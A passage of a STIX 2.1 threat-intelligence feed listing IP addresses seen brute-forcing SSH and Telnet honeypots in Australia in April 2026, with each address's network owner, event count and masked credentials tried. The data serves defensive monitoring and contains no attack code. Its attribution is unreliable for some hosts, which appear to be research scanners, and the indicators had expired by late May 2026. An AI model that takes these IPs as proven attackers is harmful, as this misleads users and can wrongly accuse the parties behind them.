      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 36. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 17557. Organisation(s): Pakistan Telecommunication Company Limited. Usernames observed (masked): r**t, a***n, A***********s, d*****t, e********b. Passwords observed (masked): 1******n, 1**1, 1***5, 1****6, 1*****7.",
      "id": "indicator--64eee6af-df87-4b36-90df-88b92a65fdbf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T01:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '39.37.154.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T01:15:12.000Z",
      "valid_until": "2026-05-27T01:15:03.000Z"
    },
    {
      "created": "2026-04-25T01:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 227. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, ***, f**m, t******r, 3**********4. Passwords observed (masked): ***, **, 1********3, 3***********4, 3**********4.",
      "id": "indicator--108a8ba5-ac1b-49e5-9b59-e72c7f9e7ee0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T01:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '40.160.239.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T01:15:12.000Z",
      "valid_until": "2026-05-27T01:15:03.000Z"
    },
    {
      "created": "2026-04-25T01:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--c54fc0b6-3491-4898-ac18-043d55bd4766",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T01:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '44.201.180.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T01:15:12.000Z",
      "valid_until": "2026-05-27T01:15:03.000Z"
    },
    {
      "created": "2026-04-25T01:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--a6d75126-921c-4973-9730-ff44e366979f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T01:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '59.103.104.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T01:15:12.000Z",
      "valid_until": "2026-05-27T01:15:03.000Z"
    },
    {
      "created": "2026-04-25T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 135994. Organisation(s): IDC Online Technology and Solutions Corporation. Usernames observed (masked): b***r. Passwords observed (masked): b***r.",
      "id": "indicator--a5e0adb3-a01b-4d36-aa5c-8ae828c62932",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.145.63.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T02:15:10.000Z",
      "valid_until": "2026-05-27T02:15:08.000Z"
    },
    {
      "created": "2026-04-25T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): s***m, u****u. Passwords observed (masked): P*******6, S******!.",
      "id": "indicator--ebdc0dcf-b8d8-4535-869d-6cd27dbbabbe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.103.145.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T02:15:10.000Z",
      "valid_until": "2026-05-27T02:15:08.000Z"
    },
    {
      "created": "2026-04-25T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--f5fb0cab-c50d-488c-a901-912620cb2c11",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '144.91.107.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T02:15:10.000Z",
      "valid_until": "2026-05-27T02:15:08.000Z"
    },
    {
      "created": "2026-04-25T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 203214. Organisation(s): Hulum Almustakbal Company for Communication Engineering and Services Ltd.",
      "id": "indicator--7f3df1ec-079b-452f-847b-d4d5479b4fe3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '65.20.146.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T02:15:10.000Z",
      "valid_until": "2026-05-27T02:15:08.000Z"
    },
    {
      "created": "2026-04-25T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--20377878-bc65-4184-9d14-b9a1578fa742",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T02:15:10.000Z",
      "valid_until": "2026-05-27T02:15:08.000Z"
    },
    {
      "created": "2026-04-25T03:15:49.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 37457. Organisation(s): Telkom-Internet.",
      "id": "indicator--0cc7f933-26af-4f3c-9e1a-7b29f8b0a26f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T03:15:49.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '105.186.99.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T03:15:49.000Z",
      "valid_until": "2026-05-27T03:15:03.000Z"
    },
    {
      "created": "2026-04-25T03:15:49.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--4b4c35a0-b706-4996-9c0f-d8ed8b354c34",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T03:15:49.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '67.102.7.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T03:15:49.000Z",
      "valid_until": "2026-05-27T03:15:03.000Z"
    },
    {
      "created": "2026-04-25T04:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 1221. Organisation(s): Telstra Limited.",
      "id": "indicator--d69938f2-27c0-4dcc-9996-e45a00c53674",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '120.157.123.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T04:15:05.000Z",
      "valid_until": "2026-05-27T04:15:03.000Z"
    },
    {
      "created": "2026-04-25T04:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: MA. ASN(s): 6713. Organisation(s): Itissalat Al-MAGHRIB.",
      "id": "indicator--94f27c25-01ac-4667-b763-d4d7af28b7fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '154.144.243.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T04:15:05.000Z",
      "valid_until": "2026-05-27T04:15:03.000Z"
    },
    {
      "created": "2026-04-25T04:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--d69c5b75-c802-46b0-8a75-a0a8f8c78214",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T04:15:05.000Z",
      "valid_until": "2026-05-27T04:15:03.000Z"
    },
    {
      "created": "2026-04-25T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--20464eb2-f3fb-4b9e-8468-d4a860b8e497",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.65.195.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T05:15:10.000Z",
      "valid_until": "2026-05-27T05:15:08.000Z"
    },
    {
      "created": "2026-04-25T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--26ad0b23-b05d-40a7-a382-41c43047a0fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '137.59.230.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T06:15:11.000Z",
      "valid_until": "2026-05-27T06:15:08.000Z"
    },
    {
      "created": "2026-04-25T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CI. ASN(s): 29571. Organisation(s): ORANGE-COTE-IVOIRE.",
      "id": "indicator--d7e1b455-178d-4b38-b1c5-56130d237a7a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '160.120.228.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T06:15:11.000Z",
      "valid_until": "2026-05-27T06:15:08.000Z"
    },
    {
      "created": "2026-04-25T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 9465. Organisation(s): AGOTOZ PTE. LTD..",
      "id": "indicator--8c03b35d-128f-48a3-affb-f000c4bf982a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.142.154.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T06:15:11.000Z",
      "valid_until": "2026-05-27T06:15:08.000Z"
    },
    {
      "created": "2026-04-25T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 143. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PH. ASN(s): 134788. Organisation(s): Parasat Cable TV, Inc. Usernames observed (masked): r**t, f*****r, s****y, 3**********4, a****g. Passwords observed (masked): 1******r, 3***********4, 3**********4, C*******!, H*********9.",
      "id": "indicator--27d79ed3-15af-4592-82fe-1a7c6db21dbe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.62.153.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T07:15:10.000Z",
      "valid_until": "2026-05-27T07:15:09.000Z"
    },
    {
      "created": "2026-04-25T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 149. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited. Usernames observed (masked): r**t, s***m, ***, e****e, j**n. Passwords observed (masked): 1******8, 1********0, 2****1, 2****************s, B****!.",
      "id": "indicator--6fdaf4d8-41e7-445a-82f0-a66c516a4575",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '136.232.11.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T07:15:10.000Z",
      "valid_until": "2026-05-27T07:15:09.000Z"
    },
    {
      "created": "2026-04-25T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1514. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t, d****y, u**r, a***n, f*****r. Passwords observed (masked): 1****6, ***, 1**4, 1******8, *.",
      "id": "indicator--db4fe475-5575-48a7-a269-65e1eeddd524",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '176.65.132.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T07:15:10.000Z",
      "valid_until": "2026-05-27T07:15:09.000Z"
    },
    {
      "created": "2026-04-25T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--dbd64dea-773c-4b69-9173-f964307f0d1c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T07:15:10.000Z",
      "valid_until": "2026-05-27T07:15:09.000Z"
    },
    {
      "created": "2026-04-25T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--1ec81b43-0d06-415c-9f6f-7c5363cc9e22",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '47.86.90.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T07:15:10.000Z",
      "valid_until": "2026-05-27T07:15:09.000Z"
    },
    {
      "created": "2026-04-25T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 233. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, u****u, p******s, j**n, s***m. Passwords observed (masked): 1**4, 1******8, 1********0, 2****1, 2****************s.",
      "id": "indicator--b4ed19a5-51ff-4358-ad12-cf6e697dfe24",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '52.176.211.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T07:15:10.000Z",
      "valid_until": "2026-05-27T07:15:09.000Z"
    },
    {
      "created": "2026-04-25T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 19901. Organisation(s): Brightspeed.",
      "id": "indicator--9a8c5734-2468-481f-b8f9-42863a251769",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '67.238.169.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T07:15:10.000Z",
      "valid_until": "2026-05-27T07:15:09.000Z"
    },
    {
      "created": "2026-04-25T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: IN. ASN(s): 138296. Organisation(s): Juweriyah Networks Private Limited.",
      "id": "indicator--566e167c-06d7-4635-a2c5-68a86ea1e584",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.123.227.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T08:15:10.000Z",
      "valid_until": "2026-05-27T08:15:08.000Z"
    },
    {
      "created": "2026-04-25T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 34. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 38264. Organisation(s): National WiMAXIMS environment.",
      "id": "indicator--cf9659ae-40e4-42c7-bf57-00481935fc13",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '110.37.5.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T08:15:10.000Z",
      "valid_until": "2026-05-27T08:15:08.000Z"
    },
    {
      "created": "2026-04-25T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd..",
      "id": "indicator--88f1cf54-dd8f-431c-9ef0-cf38196eb4e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '115.191.27.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T08:15:10.000Z",
      "valid_until": "2026-05-27T08:15:08.000Z"
    },
    {
      "created": "2026-04-25T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28343. Organisation(s): UNIFIQUE TELECOMUNICACOES SA.",
      "id": "indicator--7626df79-3b58-4cd2-8b19-2b8425696ffd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '189.28.222.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T08:15:10.000Z",
      "valid_until": "2026-05-27T08:15:08.000Z"
    },
    {
      "created": "2026-04-25T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--645c624e-f0de-4ce0-811f-55b97cbbf487",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '8.130.132.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T08:15:10.000Z",
      "valid_until": "2026-05-27T08:15:08.000Z"
    },
    {
      "created": "2026-04-25T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--a443e7c1-e03d-49cb-85a2-075ef26ca060",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '123.14.98.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T09:15:10.000Z",
      "valid_until": "2026-05-27T09:15:08.000Z"
    },
    {
      "created": "2026-04-25T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 27699. Organisation(s): TELEFONICA BRASIL S.A. Usernames observed (masked): ***, r**t, 3**********4, a**i, s******n. Passwords observed (masked): ***, 3***********4, 3**********4, A********5, B******3.",
      "id": "indicator--0d7f31e0-7e9f-47a2-896e-3ca0e48e46d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '189.46.230.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T09:15:10.000Z",
      "valid_until": "2026-05-27T09:15:08.000Z"
    },
    {
      "created": "2026-04-25T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: BR. ASN(s): 28573. Organisation(s): Claro NXT Telecomunicacoes Ltda.",
      "id": "indicator--2fbc795e-23e9-4c0f-a218-eaf942fa4e4a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '191.181.10.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T09:15:10.000Z",
      "valid_until": "2026-05-27T09:15:08.000Z"
    },
    {
      "created": "2026-04-25T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 265862. Organisation(s): BM SOLUCIONES S.R.L..",
      "id": "indicator--fb742675-9965-448d-a98d-7e90c03bdb0a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.224.189.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T09:15:10.000Z",
      "valid_until": "2026-05-27T09:15:08.000Z"
    },
    {
      "created": "2026-04-25T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--18b4be13-59e5-43a5-9cf1-390887ac80a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '72.255.18.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T09:15:10.000Z",
      "valid_until": "2026-05-27T09:15:08.000Z"
    },
    {
      "created": "2026-04-25T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 231. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 141607. Organisation(s): PT Gayatri Lintas Nusantara. Usernames observed (masked): r**t, 3**********4, c****e, ***, f******t. Passwords observed (masked): 3***********4, 3**********4, 1****6, A********6, A***9.",
